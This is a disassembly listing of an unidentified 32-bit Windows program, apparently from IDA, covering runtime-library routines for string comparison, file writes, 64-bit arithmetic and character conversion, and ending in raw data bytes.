		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422571
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D8F5
		mov	[ecx], eax

locret_41D8F5:				; CODE XREF: sub_41D81B+D6j
		leave
		retn
sub_41D81B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D900	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4D97C8
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D953
		mov	al, 0FFh
		mov	edi, edi


loc_41D91C:				; CODE XREF: sub_41D900+28j
					; sub_41D900+48j
		or	al, al
		jz	short loc_41D94E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D91C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D91C
		sbb	al, al
		sbb	al, 0FFh


loc_41D94E:				; CODE XREF: sub_41D900+1Ej
		movsx	eax, al
		jmp	short loc_41D987
; ---------------------------------------------------------------------------


loc_41D953:				; CODE XREF: sub_41D900+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D95C:				; CODE XREF: sub_41D900+68j
					; sub_41D900+80j
		or	al, al
		jz	short loc_41D987
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D95C
		push	eax
		push	ebx
		call	sub_41DEEC
		mov	ebx, eax
		add	esp, 4
		call	sub_41DEEC
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D95C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D987:				; CODE XREF: sub_41D900+51j
					; sub_41D900+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D900	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DA08
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D9AB
		cmp	edi, 1
		jz	short loc_41D9AB
		cmp	edi, 2
		jnz	short loc_41DA08


loc_41D9AB:				; CODE XREF: ___:0041D99Fj
					; ___:0041D9A4j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D9C2
		push	esi
		call	sub_4226CD
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D9C2:				; CODE XREF: ___:0041D9B3j
		push	esi
		call	sub_41E32B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D9D7
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D9EB
; ---------------------------------------------------------------------------


loc_41D9D7:				; CODE XREF: ___:0041D9CEj
		test	al, 1
		jz	short loc_41D9EB
		test	al, 8
		jz	short loc_41D9EB
		test	ah, 4
		jnz	short loc_41D9EB
		mov	dword ptr [esi+18h], 200h


loc_41D9EB:				; CODE XREF: ___:0041D9D5j
					; ___:0041D9D9j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422633
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DA15
; ---------------------------------------------------------------------------


loc_41DA08:				; CODE XREF: ___:0041D997j
					; ___:0041D9A9j
		mov	dword_4D9714, 16h
		or	eax, 0FFFFFFFFh


loc_41DA15:				; CODE XREF: ___:0041DA06j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_41364F+19Ep
					; sub_4143AC+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DA39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DA39:				; CODE XREF: sub_41DA20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA54	proc near		; CODE XREF: ___:00416640p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DA78
		xor	eax, eax
		jmp	loc_41DB45
; ---------------------------------------------------------------------------


loc_41DA78:				; CODE XREF: sub_41DA54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DA8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DA92
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41DA54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DA92:				; CODE XREF: sub_41DA54+35j
					; sub_41DA54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DAC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DAC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DAAC
		mov	edi, eax


loc_41DAAC:				; CODE XREF: sub_41DA54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CAB0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DB0C
; ---------------------------------------------------------------------------


loc_41DAC6:				; CODE XREF: sub_41DA54+47j
					; sub_41DA54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DB11
		test	ecx, ecx
		jz	short loc_41DADA
		push	esi
		call	sub_41E32B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DB53


loc_41DADA:				; CODE XREF: sub_41DA54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DAED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DAEF
; ---------------------------------------------------------------------------


loc_41DAED:				; CODE XREF: sub_41DA54+8Aj
		mov	edi, ebx


loc_41DAEF:				; CODE XREF: sub_41DA54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DB4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DB4A


loc_41DB0C:				; CODE XREF: sub_41DA54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DB3A
; ---------------------------------------------------------------------------


loc_41DB11:				; CODE XREF: sub_41DA54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F4BF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DB53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DB3A
		mov	[ebp+arg_C], 1


loc_41DB3A:				; CODE XREF: sub_41DA54+BBj
					; sub_41DA54+DDj
		test	ebx, ebx
		jnz	loc_41DA92
		mov	eax, [ebp+arg_8]


loc_41DB45:				; CODE XREF: sub_41DA54+1Fj
					; sub_41DA54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DB4A:				; CODE XREF: sub_41DA54+ADj
					; sub_41DA54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DB55
; ---------------------------------------------------------------------------


loc_41DB53:				; CODE XREF: sub_41DA54+84j
					; sub_41DA54+CFj
		mov	eax, edi


loc_41DB55:				; CODE XREF: sub_41DA54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DB45
sub_41DA54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB5E	proc near		; CODE XREF: sub_416C63+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2680DCEh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DB7E
		nop
		call	near ptr 26807F9h
		push	eax
		call	sub_420314
		pop	ecx


loc_41DB7A:				; CODE XREF: sub_41DB5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DB7E:				; CODE XREF: sub_41DB5E+Dj
		test	al, 1
		jz	short loc_41DB9F
		test	[esp+arg_4], 2
		jz	short loc_41DB9F
		mov	dword_4D9714, 0Dh
		mov	dword_4D9718, 5
		jmp	short loc_41DB7A
; ---------------------------------------------------------------------------


loc_41DB9F:				; CODE XREF: sub_41DB5E+22j
					; sub_41DB5E+29j
		xor	eax, eax
		retn
sub_41DB5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBB0	proc near		; CODE XREF: sub_416C7D+3Fp
					; sub_41AE75+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DBD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC13
; ---------------------------------------------------------------------------


loc_41DBD2:				; CODE XREF: sub_41DBB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DBE0:				; CODE XREF: sub_41DBB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DBE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DC0E
		jb	short loc_41DC0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DC0F


loc_41DC0E:				; CODE XREF: sub_41DBB0+4Ej
					; sub_41DBB0+54j
		dec	esi


loc_41DC0F:				; CODE XREF: sub_41DBB0+56j
					; sub_41DBB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DC13:				; CODE XREF: sub_41DBB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DC20	proc near		; CODE XREF: sub_416C7D+2Dp
					; sub_41AE75+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DC41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC41:				; CODE XREF: sub_41DC20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DC4F:				; CODE XREF: sub_41DC20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DC4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DC7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DC7A
		jb	short loc_41DC82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DC82


loc_41DC7A:				; CODE XREF: sub_41DC20+4Aj
					; sub_41DC20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DC82:				; CODE XREF: sub_41DC20+52j
					; sub_41DC20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DC91:				; CODE XREF: sub_41DC20+1Fj
		pop	ebx
		retn	10h
sub_41DC20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCA0	proc near		; CODE XREF: sub_416D8D+5Fp
					; sub_416D8D+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DCC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DCC1:				; CODE XREF: sub_41DCA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DCDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DCDD:				; CODE XREF: sub_41DCA0+27j
		or	eax, eax
		jnz	short loc_41DCF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD3A
; ---------------------------------------------------------------------------


loc_41DCF9:				; CODE XREF: sub_41DCA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DD07:				; CODE XREF: sub_41DCA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DD07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DD35
		jb	short loc_41DD36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DD36


loc_41DD35:				; CODE XREF: sub_41DCA0+85j
					; sub_41DCA0+8Bj
		dec	esi


loc_41DD36:				; CODE XREF: sub_41DCA0+8Dj
					; sub_41DCA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DD3A:				; CODE XREF: sub_41DCA0+57j
		dec	edi
		jnz	short loc_41DD44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD44:				; CODE XREF: sub_41DCA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DCA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD4A	proc near		; CODE XREF: sub_41743B+BFp
					; sub_41743B+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4D97D0
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DD7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DDE5


loc_41DD66:				; CODE XREF: sub_41DD4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DD77
		cmp	cl, 7Ah
		jg	short loc_41DD77
		sub	cl, 20h
		mov	[edx], cl


loc_41DD77:				; CODE XREF: sub_41DD4A+21j
					; sub_41DD4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DD66
		jmp	short loc_41DDE5
; ---------------------------------------------------------------------------


loc_41DD7E:				; CODE XREF: sub_41DD4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4229D2
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DDD7
		push	edi
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DDD7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DDD7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_41DDD7:				; CODE XREF: sub_41DD4A+53j
					; sub_41DD4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA31
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DDE5:				; CODE XREF: sub_41DD4A+1Aj
					; sub_41DD4A+32j
		pop	ebx
		leave
		retn
sub_41DD4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDE8	proc near		; CODE XREF: sub_417E35+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		jle	short loc_41DDFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41F44A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DDFF:				; CODE XREF: sub_41DDE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DDE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE10	proc near		; CODE XREF: sub_420445+76p
					; sub_420445+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		jle	short loc_41DE27
		push	8
		push	[esp+4+arg_0]
		call	sub_41F44A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DE27:				; CODE XREF: sub_41DE10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DE40	proc near		; CODE XREF: sub_418246+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DE8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DE8D
		test	eax, 1
		jz	short loc_41DE6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DEBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DE8A


loc_41DE6D:				; CODE XREF: sub_41DE40+20j
					; sub_41DE40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DEBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DEBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DE6D


loc_41DE8A:				; CODE XREF: sub_41DE40+2Bj
					; sub_41DE40+84j
		pop	edi
		pop	esi

locret_41DE8C:				; CODE XREF: sub_41DE40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DE8D:				; CODE XREF: sub_41DE40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DEC2
		repe cmpsd
		jz	short loc_41DEC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DEB5
		cmp	ch, dh
		jnz	short loc_41DEB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DEB5
		cmp	ch, dh


loc_41DEB5:				; CODE XREF: sub_41DE40+63j
					; sub_41DE40+67j ...
		mov	eax, 0


loc_41DEBA:				; CODE XREF: sub_41DE40+26j
					; sub_41DE40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DEC2:				; CODE XREF: sub_41DE40+55j
					; sub_41DE40+59j
		test	eax, eax
		jz	short loc_41DE8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DEB5
		dec	eax
		jz	short loc_41DEE9
		cmp	dh, ch
		jnz	short loc_41DEB5
		dec	eax
		jz	short loc_41DEE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DEB5
		dec	eax


loc_41DEE9:				; CODE XREF: sub_41DE40+8Fj
					; sub_41DE40+96j
		pop	edi
		pop	esi
		retn
sub_41DE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEEC	proc near		; CODE XREF: sub_418566+6p
					; sub_418584+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D97D0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DF19
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DFB2
		cmp	eax, 5Ah
		jg	loc_41DFB2
		add	eax, 20h
		jmp	loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DF19:				; CODE XREF: sub_41DEEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DF4D
		cmp	dword_43A88C, esi
		jle	short loc_41DF3B
		push	esi
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41DF45
; ---------------------------------------------------------------------------


loc_41DF3B:				; CODE XREF: sub_41DEEC+42j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DF45:				; CODE XREF: sub_41DEEC+4Dj
		test	eax, eax
		jnz	short loc_41DF4D


loc_41DF49:				; CODE XREF: sub_41DEEC+ADj
		mov	eax, ebx
		jmp	short loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DF4D:				; CODE XREF: sub_41DEEC+3Aj
					; sub_41DEEC+5Bj
		mov	edx, off_43A680
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DF71
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DF7A
; ---------------------------------------------------------------------------


loc_41DF71:				; CODE XREF: sub_41DEEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DF7A:				; CODE XREF: sub_41DEEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DF49
		cmp	eax, esi
		jnz	short loc_41DFA5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DFA5:				; CODE XREF: sub_41DEEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DFB2:				; CODE XREF: sub_41DEEC+16j
					; sub_41DEEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DFB7	proc near		; CODE XREF: sub_418AA2+ADp
					; sub_419A81+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DFCE


loc_41DFC4:				; CODE XREF: sub_41DFB7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DFC4


loc_41DFCE:				; CODE XREF: sub_41DFB7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DFB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFD4	proc near		; CODE XREF: sub_418AA2+7Fp
					; sub_418AA2+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E0A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E0CE
		cmp	dword_4D97D0, esi
		jnz	short loc_41E025
		cmp	edi, esi
		jbe	loc_41E0CE


loc_41E004:				; CODE XREF: sub_41DFD4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E0CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E004
		jmp	loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E025:				; CODE XREF: sub_41DFD4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270F0
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jnz	loc_41E0CD
		nop
		call	near ptr 26807F9h
		cmp	eax, 7Ah
		jz	short loc_41E05F


loc_41E050:				; CODE XREF: sub_41DFD4+CBj
					; sub_41DFD4+F7j
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E05F:				; CODE XREF: sub_41DFD4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E067:				; CODE XREF: sub_41DFD4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E089
		mov	edx, off_43A680
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E07E
		inc	eax


loc_41E07E:				; CODE XREF: sub_41DFD4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E067


loc_41E089:				; CODE XREF: sub_41DFD4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jnz	short loc_41E0CE
		jmp	short loc_41E050
; ---------------------------------------------------------------------------


loc_41E0A1:				; CODE XREF: sub_41DFD4+Fj
		cmp	dword_4D97D0, esi
		jnz	short loc_41E0B4
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		jmp	short loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E0B4:				; CODE XREF: sub_41DFD4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4D97E0
		call	near ptr 26F0000h
		nop
		cmp	eax, esi
		jz	short loc_41E050


loc_41E0CD:				; CODE XREF: sub_41DFD4+6Bj
		dec	eax


loc_41E0CE:				; CODE XREF: sub_41DFD4+1Aj
					; sub_41DFD4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DFD4	endp

; ---------------------------------------------------------------------------
aZJybRR1_ekdb	db '^zа╕YbшЮ}r1г.E┼d║',0
		align 4
aPdi		db 'Pd┴%',0
		align 10h
		dd 5358EC83h, 65895756h, 37A4E8E8h, 33900248h, 89D48AD2h
		dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h
		dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh
		dd 2CBE856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C3E8FC75h, 90000050h, 483717E8h, 0ADA4A302h, 81E8004Dh
